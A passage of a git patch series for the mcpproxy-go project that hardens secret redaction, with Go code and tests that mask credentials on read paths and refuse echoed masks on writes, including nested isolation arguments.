-// point: it is what makes a field ADDED to the struct later fail closed instead -// of quietly round-tripping its own mask into the config. -func findMaskMarker(path string, v interface{}) (string, bool) { - switch typed := v.(type) { - case map[string]interface{}: - for k, val := range typed { - if p, ok := findMaskMarker(path+"."+k, val); ok { - return p, true - } - } - case []interface{}: - for i, val := range typed { - if p, ok := findMaskMarker(fmt.Sprintf("%s[%d]", path, i), val); ok { - return p, true - } - } - case string: - if oauth.ContainsMaskMarker(typed) { - return path, true - } - } - return "", false +// checkServerWriteMasks is the fail-closed residual net every write door runs +// after its key-bound reverts: anything still carrying a mask this proxy +// rendered is refused rather than persisted over a live credential. It is what +// makes a field ADDED to config.ServerConfig later fail closed. +func checkServerWriteMasks(what string, v interface{}) error { + return oauth.CheckServerWriteMasks(what, v) } // inspectConnectionTimeoutError renders `inspect_quarantined`'s diff --git a/internal/server/round6_write_doors_test.go b/internal/server/round6_write_doors_test.go new file mode 100644 index 000000000..cb35b0a4e --- /dev/null +++ b/internal/server/round6_write_doors_test.go @@ -0,0 +1,136 @@ +package server + +import ( + "context" + "encoding/json" + "testing" + + "github.com/mark3labs/mcp-go/mcp" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" +) + +const round6Token = "ghp_1234567890abcdefghijABCDEFGHIJ123456" + +// Issue #1148, round 6 finding 4. The MCP `upstream_servers add` door accepted +// echoed masks while REST `POST /api/v1/servers` refused them. No credential +// leaks either way — there is nothing stored to corrupt — but a client copying +// a masked payload into an add call silently persisted literal text like +// `••••AL (12 chars)` as an argv token or a header value, producing a server +// that fails to connect for a non-obvious reason. Both create doors now refuse. +func TestHandleAddUpstream_RefusesEveryEchoedMask(t *testing.T) { + p := createTestMCPProxyServer(t) + + maskedArgs, err := json.Marshal(redactedArgs([]string{"mcp-foo", "--api-key", round6Token}, liveRedaction)) + require.NoError(t, err) + maskedEnv, err := json.Marshal(map[string]string{"BENIGN": oauth.LiveRedaction.EnvValue("BENIGN", round6Token)}) + require.NoError(t, err) + maskedHeaders, err := json.Marshal(map[string]string{"X-Weird": oauth.LiveRedaction.HeaderValue("X-Weird", round6Token)}) + require.NoError(t, err) + + cases := map[string]map[string]interface{}{ + "args_json": {"name": "a1", "command": "uvx", "args_json": string(maskedArgs)}, + "env_json": {"name": "a2", "command": "uvx", "env_json": string(maskedEnv)}, + "headers_json": {"name": "a3", "url": "https://host/mcp", "headers_json": string(maskedHeaders)}, + "url": {"name": "a4", "url": oauth.LiveRedaction.URLValue("https://host/mcp?opaque=" + round6Token)}, + "oauth_json": {"name": "a5", "url": "https://host/mcp", "oauth_json": `{"client_secret":"••••ab (12 chars)"}`}, + } + + for name, args := range cases { + t.Run(name, func(t *testing.T) { + request := mcp.CallToolRequest{} + request.Params.Arguments = args + + result, err := p.handleAddUpstream(context.Background(), request) + require.NoError(t, err) + require.NotNil(t, result) + assert.True(t, result.IsError, "add must refuse an echoed mask: %+v", result.Content) + + // Nothing may be persisted. + servers, listErr := p.storage.ListUpstreamServers() + require.NoError(t, listErr) + for _, sc := range servers { + assert.NotEqual(t, args["name"], sc.Name, "the refused server must not be stored") + } + }) + } +} + +// The fail-closed net on the MCP patch door: a mask in a field that has no +// key-bound revert must be REFUSED, not persisted over whatever is stored. +// isolation.extra_args stands in for "every field nobody has given a binding", +// which is the shape a field ADDED to config.ServerConfig later would have. +func TestBuildPatchConfig_RefusesAMaskInAFieldWithNoRevert(t *testing.T) { + p := createTestMCPProxyServer(t) + stored := &config.ServerConfig{Name: "srv", Command: "uvx", Enabled: true} + + request := mcp.CallToolRequest{} + request.Params.Arguments = map[string]interface{}{ + "operation": "patch", + "name": "srv", + "isolation_json": `{"extra_args":["--env","••••ab (12 chars)"]}`, + } + + patch, _, err := p.buildPatchConfigFromRequest(request, stored) + require.Error(t, err, "a mask with no binding must be refused") + assert.Nil(t, patch) + assert.Contains(t, err.Error(), "redaction placeholder") +} + +// A legitimate patch — real values, no masks — must still go through. The net +// is a refusal of masks, not of writes. +func TestBuildPatchConfig_AcceptsRealValues(t *testing.T) { + p := createTestMCPProxyServer(t) + stored := &config.ServerConfig{ + Name: "srv", + Command: "uvx", + Env: map[string]string{"BENIGN": round6Token}, + Enabled: true, + } + + request := mcp.CallToolRequest{} + request.Params.Arguments = map[string]interface{}{ + "operation": "patch", + "name": "srv", + "env_json": `{"BENIGN":"ghp_ffffffffffffffffffffFFFFFFFFFF999999"}`, + } + + patch, _, err := p.buildPatchConfigFromRequest(request, stored) + require.NoError(t, err) + require.NotNil(t, patch) + assert.Equal(t, "ghp_ffffffffffffffffffffFFFFFFFFFF999999", patch.Env["BENIGN"]) +} + +// The MCP patch door must still REVERT what it can bind — the live rendering of +// a credential under a benign env name included. This is the round trip the +// REST door now shares (see internal/httpapi/round6_write_parity_test.go). +func TestBuildPatchConfig_RevertsTheLiveEnvMask(t *testing.T) { + p := createTestMCPProxyServer(t) + stored := &config.ServerConfig{ + Name: "srv", + Command: "uvx", + Env: map[string]string{"BENIGN": round6Token}, + Enabled: true, + } + masked := oauth.LiveRedaction.EnvValue("BENIGN", round6Token) + require.NotEqual(t, round6Token, masked, "precondition: the read door masks it") + + body, err := json.Marshal(map[string]string{"BENIGN": masked}) + require.NoError(t, err) + + request := mcp.CallToolRequest{} + request.Params.Arguments = map[string]interface{}{ + "operation": "patch", + "name": "srv", + "env_json": string(body), + } + + patch, _, err := p.buildPatchConfigFromRequest(request, stored) + require.NoError(t, err) + require.NotNil(t, patch) + assert.Equal(t, round6Token, patch.Env["BENIGN"], + "the stored credential must not be overwritten by its own mask") +} From 4f9fefec9287476998e095d6bc235a07e5c01d35 Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Tue, 1 Sep 2026 11:57:15 +0300 Subject: [PATCH 07/10] fix(security): derive the mask net from its renderers, and walk nested server fields MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three rounds running, the review has found the GUARD failing open rather than the code it guards. Each fix here is structural. Derive the marker set from the renderers. oauth.MaskMarkers was hand maintained beside a separate set of mask renderings and listed only the bullet run and the detector's elision. It did not know about `***REDACTED***`, which oauth.RedactSensitiveData emits — and that runs on every uncontracted leaf through Redaction.Leaf, so an `isolation.extra_args` value of `-e API_KEY=` was rendered `-e API_KEY=***REDACTED***` on the read door and CheckServerWriteMasks then ACCEPTED that echo and persisted it over the live credential. The markers are now assembled from a registry of the renderings themselves (maskRenderings) plus security.MaskMarkers(), and a test runs every registered renderer's probe through the net and fails when the net cannot detect the result. Move the generic redaction WALK from internal/server into internal/oauth, beside the leaf rules. The leaf rules were already shared; the descent was not, so the two doors that cannot import internal/server each re-derived it field by field and each missed the same field. RedactServerSecretFields (GET /api/v1/servers and every /events servers.changed payload) skipped server.Isolation entirely, and `upstream_servers list` republished docker_isolation.server_isolation.extra_args and the whole global docker_status.isolation_config in the clear beside the masked env/url/args. Both now run the shared walk, under the same reveal_secret_headers gate as every other secret-bearing field, and the payload shape is unchanged. Make the decision guard recursive. It reflected over TOP-LEVEL fields only, which is why all of the above lived in a nested field it never looked at. It now walks nested structs, slices and maps, and every leaf that can carry TEXT — derived from its Go type, not asserted — needs an explicit entry. isolation_defaults is re-judged from not-secret to refuse: it is resolved from the operator-supplied global docker_isolation block, so a credential in the global extra_args lands in it verbatim. RedactNested decodes into a fresh value rather than over its destination: encoding/json reuses an existing slice's backing array, so decoding the mask over a projection that still aliases the stored config would overwrite the live credential with its own mask — the #1142 corruption in a new place. Refs #1148 --- internal/httpapi/redact_secrets_test.go | 45 +++ internal/oauth/logging.go | 40 ++- internal/oauth/redactview.go | 278 +++++++++++++++- internal/oauth/round6_one_rule_test.go | 63 +--- internal/oauth/round7_derived_net_test.go | 309 ++++++++++++++++++ internal/oauth/round7_walk_test.go | 207 ++++++++++++ internal/oauth/serverfields.go | 203 ++++++++++-- internal/oauth/serverfields_serveredition.go | 22 ++ internal/oauth/serverfields_stub.go | 8 + internal/security/mask.go | 13 + internal/server/mcp.go | 43 ++- internal/server/mcp_activity_args.go | 133 ++------ .../mcp_isolation_redaction_round7_test.go | 117 +++++++ internal/server/mcp_server_view.go | 56 +++- 14 files changed, 1300 insertions(+), 237 deletions(-) create mode 100644 internal/oauth/round7_derived_net_test.go create mode 100644 internal/oauth/round7_walk_test.go create mode 100644 internal/oauth/serverfields_serveredition.go create mode 100644 internal/oauth/serverfields_stub.go create mode 100644 internal/server/mcp_isolation_redaction_round7_test.go diff --git a/internal/httpapi/redact_secrets_test.go b/internal/httpapi/redact_secrets_test.go index 4afd1e3e4..359a14d9b 100644 --- a/internal/httpapi/redact_secrets_test.go +++ b/internal/httpapi/redact_secrets_test.go @@ -73,3 +73,48 @@ func TestRedactServerSecretFields_NoSecrets(t *testing.T) { assert.Equal(t, "info", srv.Env["LOG_LEVEL"]) assert.Nil(t, srv.Health) } + +// Issue #1148, round 7 finding 2: the REST/SSE door skipped the isolation +// blocks entirely, so `isolation.extra_args` — free text an operator puts +// `-e API_KEY=` into — was masked on the MCP door and published in the +// clear here and on every /events servers.changed payload. +// +// `isolation_defaults` is included because it is RESOLVED FROM the global +// docker_isolation block: a credential in the global `extra_args` lands in it +// verbatim (internal/management/service.go). Round 7 finding 4 re-judged it +// from "not secret" for exactly that reason. +func TestRedactServerSecretFields_MasksIsolationBlocks(t *testing.T) { + const token = "ghp_1234567890abcdefghijABCDEFGHIJ123456" + srv := &contracts.Server{ + Name: "alpha", + Isolation: &contracts.IsolationConfig{ + Enabled: true, + Image: "python:3.12", + ExtraArgs: []string{"-e", "SERVER_API_KEY=" + token}, + }, + IsolationDefaults: &contracts.IsolationDefaults{ + RuntimeType: "uvx", + Image: "ghcr.io/astral-sh/uv:python3.13-alpine", + ExtraArgs: []string{"-e", "GLOBAL_API_KEY=" + token}, + }, + } + + redactServerSecretFields(srv) + + for _, arg := range srv.Isolation.ExtraArgs { + assert.NotContains(t, arg, token, "isolation.extra_args published a credential") + } + for _, arg := range srv.IsolationDefaults.ExtraArgs { + assert.NotContains(t, arg, token, "isolation_defaults.extra_args published a credential") + } + + // Masked-but-PRESENT: the UI renders these as override placeholders, so the + // non-secret values must survive byte for byte. + assert.True(t, srv.Isolation.Enabled) + assert.Equal(t, "python:3.12", srv.Isolation.Image) + assert.Equal(t, "ghcr.io/astral-sh/uv:python3.13-alpine", srv.IsolationDefaults.Image) + assert.Equal(t, "uvx", srv.IsolationDefaults.RuntimeType) + assert.Equal(t, "-e", srv.Isolation.ExtraArgs[0]) + assert.Contains(t, srv.Isolation.ExtraArgs[1], "SERVER_API_KEY", + "the variable NAME is the audit signal and must survive") +} diff --git a/internal/oauth/logging.go b/internal/oauth/logging.go index 1ededb743..a0f170a3a 100644 --- a/internal/oauth/logging.go +++ b/internal/oauth/logging.go @@ -13,6 +13,26 @@ import ( "go.uber.org/zap" ) +// Mask MARKERS — the substrings this package's own mask renderings are built +// from. They exist as constants, and every renderer below is written in terms +// of them, because the fail-closed write-path net has to RECOGNISE what the +// read doors rendered: MaskMarkers in redactview.go is assembled from exactly +// these constants (plus security's), so a rendering cannot be added or changed +// without the net learning about it in the same edit. +// +// Issue #1148, round 7 finding 1: the marker list used to be hand-maintained +// beside the renderers and did not know about `***REDACTED***`, so an echoed +// RedactSensitiveData rendering was accepted on a write and persisted over the +// live credential. +const ( + // redactedMarker is what the REGEX scrubbers (RedactSensitiveData, + // RedactURL, RedactHeaders) put in place of a matched secret. + redactedMarker = "***REDACTED***" + + // bulletMarker opens every MaskValue / AuditMaskValue rendering. + bulletMarker = "••••" +) + // Sensitive header names that should be redacted in logs. var sensitiveHeaders = map[string]bool{ "authorization": true, @@ -150,7 +170,7 @@ func redactURLUserinfo(s string) string { if isConfigReference(groups[3]) { return match } - return groups[1] + groups[2] + ":***REDACTED***@" + return groups[1] + groups[2] + ":" + redactedMarker + "@" }) } @@ -165,23 +185,23 @@ func RedactSensitiveData(data string) string { result := redactURLUserinfo(data) // Redact Bearer tokens - result = tokenPattern.ReplaceAllString(result, "${1}***REDACTED***") + result = tokenPattern.ReplaceAllString(result, "${1}"+redactedMarker) // Redact secrets and passwords result = secretPattern.ReplaceAllStringFunc(result, func(match string) string { // Find the position of = or : and redact everything after for _, sep := range []string{"=", ":"} { if idx := strings.Index(match, sep); idx != -1 { - return match[:idx+1] + "***REDACTED***" + return match[:idx+1] + redactedMarker } } - return "***REDACTED***" + return redactedMarker }) // Redact sensitive URL parameters for _, param := range sensitiveParams { pattern := regexp.MustCompile(`(?i)(` + param + `=)[^&\s]+`) - result = pattern.ReplaceAllString(result, "${1}***REDACTED***") + result = pattern.ReplaceAllString(result, "${1}"+redactedMarker) } return result @@ -194,7 +214,7 @@ func RedactHeaders(headers http.Header) map[string]string { for key, values := range headers { if isSensitiveHeaderKey(key) { - redacted[key] = "***REDACTED***" + redacted[key] = redactedMarker } else { // Join multiple values and redact any sensitive data within value := strings.Join(values, ", ") @@ -518,7 +538,7 @@ func AuditMaskValue(v string) string { if isConfigReference(v) { return v } - return "••••" + return bulletMarker } // MaskValue renders a string secret as `•••• ( chars)` for @@ -538,9 +558,9 @@ func MaskValue(v string) string { return v } if len(v) <= 4 { - return "••••" + return bulletMarker } - return "••••" + v[len(v)-2:] + " (" + strconv.Itoa(len(v)) + " chars)" + return bulletMarker + v[len(v)-2:] + " (" + strconv.Itoa(len(v)) + " chars)" } // UnmaskURL protects the write path from a client that echoes a masked URL @@ -767,7 +787,7 @@ func RedactURL(urlStr string) string { result := redactURLUserinfo(urlStr) for _, param := range sensitiveParams { pattern := regexp.MustCompile(`(?i)(` + param + `=)[^&]+`) - result = pattern.ReplaceAllString(result, "${1}***REDACTED***") + result = pattern.ReplaceAllString(result, "${1}"+redactedMarker) } return result diff --git a/internal/oauth/redactview.go b/internal/oauth/redactview.go index 3f0089609..94c37cf13 100644 --- a/internal/oauth/redactview.go +++ b/internal/oauth/redactview.go @@ -1,10 +1,13 @@ package oauth import ( + "encoding/json" "fmt" "net/url" + "reflect" "strings" "sync" + "unicode/utf8" "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" "github.com/smart-mcp-proxy/mcpproxy-go/internal/security" @@ -58,6 +61,21 @@ type Redaction struct { // (see maskDetectedPreservingURL), which closes that without collapsing // anything the write path depends on. DetectContracted bool + + // Limit caps each string leaf the generic walker produces, or 0 for no cap. + // + // It is a property of the DESTINATION, not of the rules: the activity store + // caps every leaf so one mutation carrying a large env map cannot bloat + // BBolt, while a LIVE read surface must not cap — a truncated URL or arg is + // no longer equal to mask(stored), so the write-path unmasker would write + // the truncation through. + Limit int +} + +// WithLimit returns a copy of the policy that caps each string leaf at n bytes. +func (r Redaction) WithLimit(n int) Redaction { + r.Limit = n + return r } // LiveRedaction is the policy for the LIVE read surfaces (the MCP @@ -316,15 +334,91 @@ func MaskDetectedSecrets(s string) string { return masked } -// MaskMarkers are the substrings every masked rendering carries: MaskValue / -// AuditMaskValue open with the bullet run, and the value-shaped detector -// (security.MaskValue) ends with the elision+asterisks. +// maskRendering is one function that RENDERS a secret as a mask on a read door, +// paired with the MARKER constant its output is built from and a probe input it +// is guaranteed to mask. +// +// This registry is the single source the fail-closed net reads. MaskMarkers +// below is assembled from it and from nothing else, and +// TestMaskMarkers_CoverEveryRendering runs each entry's probe through its +// renderer and fails when the net cannot detect the result — so a rendering +// cannot be added, or an existing one changed, without the net learning about +// it in the same edit. +// +// Issue #1148, round 7 finding 1. The marker list used to be hand-maintained +// beside the renderers and listed only the bullet run and the detector's +// elision. It did not know about `***REDACTED***`, which is what +// RedactSensitiveData emits — and RedactSensitiveData runs on every +// UNCONTRACTED leaf through Redaction.Leaf, so `isolation.extra_args` holding +// `-e API_KEY=` was rendered `-e API_KEY=***REDACTED***` on the read +// door and that echo was ACCEPTED and PERSISTED over the real credential. +// Hand-maintaining a list beside the thing it is supposed to track is the same +// fail-open shape as every other defect on this issue; the list is now derived. +type maskRendering struct { + name string + marker string + probe string + render func(string) string +} + +var maskRenderings = []maskRendering{ + {"oauth.MaskValue", bulletMarker, "supersecretvalue", MaskValue}, + {"oauth.MaskValue/short", bulletMarker, "abcd", MaskValue}, + {"oauth.AuditMaskValue", bulletMarker, "supersecretvalue", AuditMaskValue}, + {"oauth.RedactSensitiveData/secret", redactedMarker, "API_KEY=supersecretvalue", RedactSensitiveData}, + {"oauth.RedactSensitiveData/bearer", redactedMarker, "Authorization: Bearer supersecretvalue", RedactSensitiveData}, + {"oauth.RedactSensitiveData/userinfo", redactedMarker, "postgres://u:supersecretvalue@host/db", RedactSensitiveData}, + {"oauth.RedactURL", redactedMarker, "https://host/mcp?access_token=supersecretvalue", RedactURL}, + {"security.MaskValue/prefix", securityMaskSuffixMarker(), "AKIAIOSFODNN7EXAMPLE", MaskDetectedSecrets}, +} + +// maskOAuthSecret / maskExtraParams are deliberately NOT in the registry. They +// render `abc***wxyz` / `***` for zap DEBUG LOGS only (config.go, +// transport_wrapper.go) — no client ever reads them off a door and echoes them +// back at a write, so widening the net to `***` would refuse legitimate values +// to protect a path that does not exist. The registry is the set of renderings +// that reach a READ DOOR; if one of them ever does, it belongs here and the +// test below will be what proves the net follows. + +// securityMaskSuffixMarker is security.MaskValue's own long-value marker, read +// from that package rather than copied, so a change there breaks the registry +// test instead of silently narrowing the net. +func securityMaskSuffixMarker() string { + return security.MaskMarkers()[0] +} + +// MaskMarkers are the substrings every masked rendering carries. They are +// DERIVED from maskRenderings above plus security.MaskMarkers(), so the net can +// never fall behind a rendering. // // They back up the byte-for-byte echo checks so a mask is still recognised when // the stored value has since changed and the exact comparison no longer -// matches. TestArgvMaskMarkers_MatchTheRenderings pins them to the functions -// that produce them. -var MaskMarkers = []string{"••••", "…****"} +// matches. TestArgvMaskMarkers_MatchTheRenderings and +// TestMaskMarkers_CoverEveryRendering pin them to the functions that produce +// them. +var MaskMarkers = deriveMaskMarkers() + +func deriveMaskMarkers() []string { + seen := map[string]bool{} + var out []string + add := func(marker string) { + if marker == "" || seen[marker] { + return + } + seen[marker] = true + out = append(out, marker) + } + for _, r := range maskRenderings { + add(r.marker) + } + // security.MaskValue has a SECOND rendering for values too short to keep a + // prefix; taking the package's whole marker set rather than only the one + // the registry probe exercises is what keeps that from being a hole. + for _, marker := range security.MaskMarkers() { + add(marker) + } + return out +} // ContainsMaskMarker reports whether a string carries a mask this proxy // rendered. @@ -467,3 +561,175 @@ func UnmaskLiveURLParams(incoming, stored string) string { inU.RawQuery = strings.Join(parts, "&") return inU.String() } + +// --------------------------------------------------------------------------- +// The generic walk. +// +// Issue #1148, round 7 findings 2 and 3. Both are the same hole: the leaf RULES +// were shared by every door, but the WALK that applies them to a nested payload +// lived in internal/server, so the two doors that could not import it — +// RedactServerSecretFields (REST + SSE) and the hand-built isolation blocks in +// `upstream_servers list` — each reached into the config struct field by field +// and each missed `isolation.extra_args`. +// +// So the walk moves here, beside the rules, and every door calls it. A field +// added under a server payload is then masked because the walk reaches it, not +// because somebody remembered to add a line. +// --------------------------------------------------------------------------- + +// Value walks a generic JSON value (as produced by NormalizeForRedaction), +// masking every string leaf according to the key that encloses it. `key` is the +// enclosing field name — pass "" at the root, and for a slice the name of the +// slice itself. +func (r Redaction) Value(key string, v interface{}) interface{} { + switch typed := v.(type) { + case map[string]interface{}: + out := make(map[string]interface{}, len(typed)) + isHeaders := IsHeadersFieldName(key) + isEnv := IsEnvFieldName(key) + for k, val := range typed { + if s, ok := val.(string); ok { + switch { + case isHeaders: + // HTTP header semantics: mask by header name. + out[k] = r.CapString(r.HeaderValue(k, s)) + continue + case isEnv: + // Environment-variable semantics: mask by var name, using + // oauth's own rendering so the write path can recognise an + // echoed mask. + out[k] = r.CapString(r.EnvValue(k, s)) + continue + } + } + out[k] = r.Value(k, val) + } + return out + case []interface{}: + if IsArgvFieldName(key) { + return r.argvValue(typed) + } + out := make([]interface{}, len(typed)) + for i, val := range typed { + out[i] = r.Value(key, val) + } + return out + case string: + return r.CapString(r.Leaf(key, typed)) + default: + // Bools, json.Number and nil carry no secrets and stay verbatim. + return v + } +} + +// argvValue masks a command-line argument vector reached through the generic +// walk, using the same Argv rules the typed doors use. +// +// Non-string elements (only reachable from a malformed `args_json` payload) +// carry no flag semantics: they are walked with no enclosing key and stand in +// as an empty token, which resets the flag pairing exactly as the typed walk +// does. +func (r Redaction) argvValue(argv []interface{}) []interface{} { + tokens := make([]string, len(argv)) + for i, item := range argv { + if s, ok := item.(string); ok { + tokens[i] = s + } + } + masked := r.Argv(tokens) + + out := make([]interface{}, len(argv)) + for i, item := range argv { + if _, ok := item.(string); !ok { + out[i] = r.Value("", item) + continue + } + out[i] = r.CapString(masked[i]) + } + return out +} + +// CapString applies the policy's per-leaf length cap, if any, cutting on a rune +// boundary and marking the cut. +func (r Redaction) CapString(s string) string { + if r.Limit <= 0 || len(s) <= r.Limit { + return s + } + return s[:safeTruncateBytes(s, r.Limit)] + capEllipsis +} + +// capEllipsis marks a leaf the cap shortened. +const capEllipsis = "…" + +// safeTruncateBytes returns the largest cut <= limit that does not split a +// UTF-8 rune. +func safeTruncateBytes(s string, limit int) int { + if limit <= 0 { + return 0 + } + if limit >= len(s) { + return len(s) + } + cut := limit + for cut > 0 && !utf8.RuneStart(s[cut]) { + cut-- + } + return cut +} + +// IsEnvFieldName reports whether a map should be masked with +// environment-variable semantics. Covers both the `env` config field and the +// `env_json` tool parameter (the suffix is trimmed before the walk). +func IsEnvFieldName(key string) bool { + return strings.EqualFold(key, "env") +} + +// IsArgvFieldName reports whether a slice is a command-line argument vector. +// Covers the `args` config field and the `args_json` tool parameter. +// +// `isolation.extra_args` is deliberately NOT argv here: `Redaction.Argv` pairs +// `--flag value` and keeps unrecognised tokens verbatim, which is right for a +// vector whose command it belongs to is also on the wire. An extra_args vector +// is docker-run flags, and its elements go through Leaf like any other free +// text — which is what masks `-e API_KEY=`. +func IsArgvFieldName(key string) bool { + return strings.EqualFold(key, "args") +} + +// RedactNested masks every secret-bearing leaf of an arbitrary nested value in +// place, returning a value of the SAME Go type. +// +// It is how the typed doors (RedactServerSecretFields) redact a nested block +// without enumerating its fields: the value is normalised to generic JSON, +// walked by the shared rules, and decoded back over `dst`. A field added to the +// nested struct is therefore masked by default. +// +// On any encode/decode failure `dst` is left UNTOUCHED and false is returned, +// so the caller can fail closed rather than publish a half-redacted block. +// +// The masked value is decoded into a FRESH zero value and only then assigned +// over `dst`. Decoding straight into `dst` would be the #1142 corruption in a +// new place: encoding/json REUSES an existing slice's backing array, so a +// projection whose []string still aliases the stored config (a caller that +// assigned the slice instead of copying it) would have its live credentials +// overwritten with their own masks by the act of rendering a read response. +func (r Redaction) RedactNested(key string, dst interface{}) bool { + if dst == nil { + return false + } + ptr := reflect.ValueOf(dst) + if ptr.Kind() != reflect.Ptr || ptr.IsNil() { + return false + } + walked := r.Value(key, NormalizeForRedaction(dst)) + encoded, err := json.Marshal(walked) + if err != nil { + return false + } + fresh := reflect.New(ptr.Type().Elem()) + if err := json.Unmarshal(encoded, fresh.Interface()); err != nil { + return false + } + ptr.Elem().Set(fresh.Elem()) + return true +} diff --git a/internal/oauth/round6_one_rule_test.go b/internal/oauth/round6_one_rule_test.go index bdad14e2b..a2a001443 100644 --- a/internal/oauth/round6_one_rule_test.go +++ b/internal/oauth/round6_one_rule_test.go @@ -8,7 +8,6 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" ) @@ -138,63 +137,11 @@ func TestRedactServerSecretFields_MasksOAuthScopes(t *testing.T) { // ROUND 6, GUIDING PRINCIPLE — the per-field decision is made ONCE, and a field // added to either server struct cannot silently opt out of it. // -// Five review rounds on this issue found the same shape every time: a rule -// applied at one door and not its sibling, or a field masked on read with no -// answer on write. This test is the structural guard. It fails when a field -// appears on the wire without a recorded decision, which forces the author to -// answer "revert bound to what key, or refuse?" instead of inheriting "leaked -// by default" or "corrupted by default". -func TestServerFieldMaskDecisions_CoverEveryServerField(t *testing.T) { - for _, subject := range []struct { - name string - typ reflect.Type - }{ - {"config.ServerConfig", reflect.TypeOf(config.ServerConfig{})}, - {"contracts.Server", reflect.TypeOf(contracts.Server{})}, - } { - t.Run(subject.name, func(t *testing.T) { - for i := 0; i < subject.typ.NumField(); i++ { - field := subject.typ.Field(i) - if !field.IsExported() { - continue - } - name := jsonFieldName(field) - if name == "" || name == "-" { - continue - } - decision, ok := ServerFieldMaskDecisions[name] - require.True(t, ok, - "%s.%s is on the wire as %q with no entry in oauth.ServerFieldMaskDecisions.\n"+ - "Every server field needs an answer to: when a client echoes this field's mask back on a "+ - "write, is it REVERTED (bound to which key?) or REFUSED? Record it there — the default of "+ - "silence is exactly what issue #1148 kept re-creating.", - subject.name, field.Name, name) - require.Contains(t, - []MaskDecision{MaskDecisionRevertByKey, MaskDecisionRefuse, MaskDecisionNotSecret}, - decision, "%s: unknown decision %q", name, decision) - } - }) - } -} - -// The table must not accumulate entries for fields that no longer exist — -// a stale row reads as a decision that is being enforced somewhere when it is -// not. -func TestServerFieldMaskDecisions_HaveNoStaleEntries(t *testing.T) { - onTheWire := map[string]bool{} - for _, typ := range []reflect.Type{reflect.TypeOf(config.ServerConfig{}), reflect.TypeOf(contracts.Server{})} { - for i := 0; i < typ.NumField(); i++ { - if name := jsonFieldName(typ.Field(i)); name != "" && name != "-" { - onTheWire[name] = true - } - } - } - for name := range ServerFieldMaskDecisions { - assert.True(t, onTheWire[name], - "oauth.ServerFieldMaskDecisions has a decision for %q, which is no longer a field of "+ - "config.ServerConfig or contracts.Server", name) - } -} +// The guard itself now lives in round7_derived_net_test.go: round 7 finding 4 +// found THIS version failing open, because it reflected over TOP-LEVEL fields +// only and every credential-bearing leaf that round found lives one level down. +// See TestServerFieldMaskDecisions_CoverEveryNestedLeaf and +// TestServerFieldMaskDecisions_HaveNoStaleNestedEntries. func jsonFieldName(field reflect.StructField) string { tag := field.Tag.Get("json") diff --git a/internal/oauth/round7_derived_net_test.go b/internal/oauth/round7_derived_net_test.go new file mode 100644 index 000000000..4433bf5fa --- /dev/null +++ b/internal/oauth/round7_derived_net_test.go @@ -0,0 +1,309 @@ +package oauth + +import ( + "reflect" + "strings" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" +) + +// Issue #1148, round 7. Rounds 4, 5 and 6 each found the GUARD failing open +// rather than the code it guards: a hand-maintained marker list that did not +// know about one of this package's own mask renderings, a field list that +// covered only the fields somebody remembered, and a reflection guard that +// walked only the TOP level of a struct whose credentials live two levels down. +// +// The answers here are structural: the marker set is DERIVED from the renderers +// (maskRenderings), and the decision guard RECURSES. + +// ROUND 7, FINDING 1 — every rendering this package produces for a masked +// secret must be recognised by the fail-closed net. +// +// `***REDACTED***` (RedactSensitiveData) was a live read-door rendering that +// MaskMarkers did not list, so CheckServerWriteMasks accepted an echo of it and +// persisted the mask over the real credential. +func TestMaskMarkers_CoverEveryRendering(t *testing.T) { + require.NotEmpty(t, maskRenderings, "the renderer registry must not be empty") + for _, r := range maskRenderings { + t.Run(r.name, func(t *testing.T) { + got := r.render(r.probe) + require.NotEqual(t, r.probe, got, + "probe %q is not masked by %s — the registry entry proves nothing", r.probe, r.name) + assert.Contains(t, got, r.marker, + "%s no longer renders its declared marker %q: %s", r.name, r.marker, got) + assert.True(t, ContainsMaskMarker(got), + "the fail-closed net does not recognise %s's rendering %q — "+ + "MaskMarkers must be derived from the renderers, not maintained beside them", + r.name, got) + }) + } +} + +// And the net that matters: a write door must REFUSE any of those renderings, +// wherever in the payload it appears. +func TestCheckServerWriteMasks_RefusesEveryRendering(t *testing.T) { + for _, r := range maskRenderings { + t.Run(r.name, func(t *testing.T) { + payload := map[string]interface{}{ + "isolation": map[string]interface{}{ + "extra_args": []interface{}{"-e", r.render(r.probe)}, + }, + } + require.Error(t, CheckServerWriteMasks("server.", payload), + "an echoed %s rendering was ACCEPTED and would be persisted over the credential", r.name) + }) + } +} + +// The end-to-end shape the reviewer reproduced: read the isolation block off a +// live read door, echo it straight back at a write door. +func TestIsolationExtraArgs_MaskEchoIsRefused(t *testing.T) { + stored := &config.ServerConfig{ + Name: "srv", + Command: "uvx", + Isolation: &config.IsolationConfig{ExtraArgs: []string{"-e", "API_KEY=" + ghpToken}}, + } + view, ok := NormalizeForRedaction(stored).(map[string]interface{}) + require.True(t, ok) + redacted, ok := LiveRedaction.Value("", view).(map[string]interface{}) + require.True(t, ok) + + iso, ok := redacted["isolation"].(map[string]interface{}) + require.True(t, ok, "isolation must survive the walk: %#v", redacted) + args, ok := iso["extra_args"].([]interface{}) + require.True(t, ok) + for _, a := range args { + assert.NotContains(t, a.(string), ghpToken, "the read door published the credential: %v", args) + } + + require.Error(t, CheckServerWriteMasks("server.", redacted), + "echoing the redacted isolation block back must be refused, not persisted") +} + +// ROUND 7, FINDING 2 — RedactServerSecretFields (the REST + SSE door) skipped +// server.Isolation entirely, so `isolation.extra_args` was masked on the MCP +// door and published in the clear on GET /api/v1/servers and every +// /events servers.changed payload. +func TestRedactServerSecretFields_MasksIsolation(t *testing.T) { + srv := &contracts.Server{ + Name: "s", + Isolation: &contracts.IsolationConfig{ExtraArgs: []string{"-e", "API_KEY=" + ghpToken}}, + IsolationDefaults: &contracts.IsolationDefaults{ExtraArgs: []string{"-e", "API_KEY=" + ghpToken}}, + } + RedactServerSecretFields(srv) + + for _, got := range 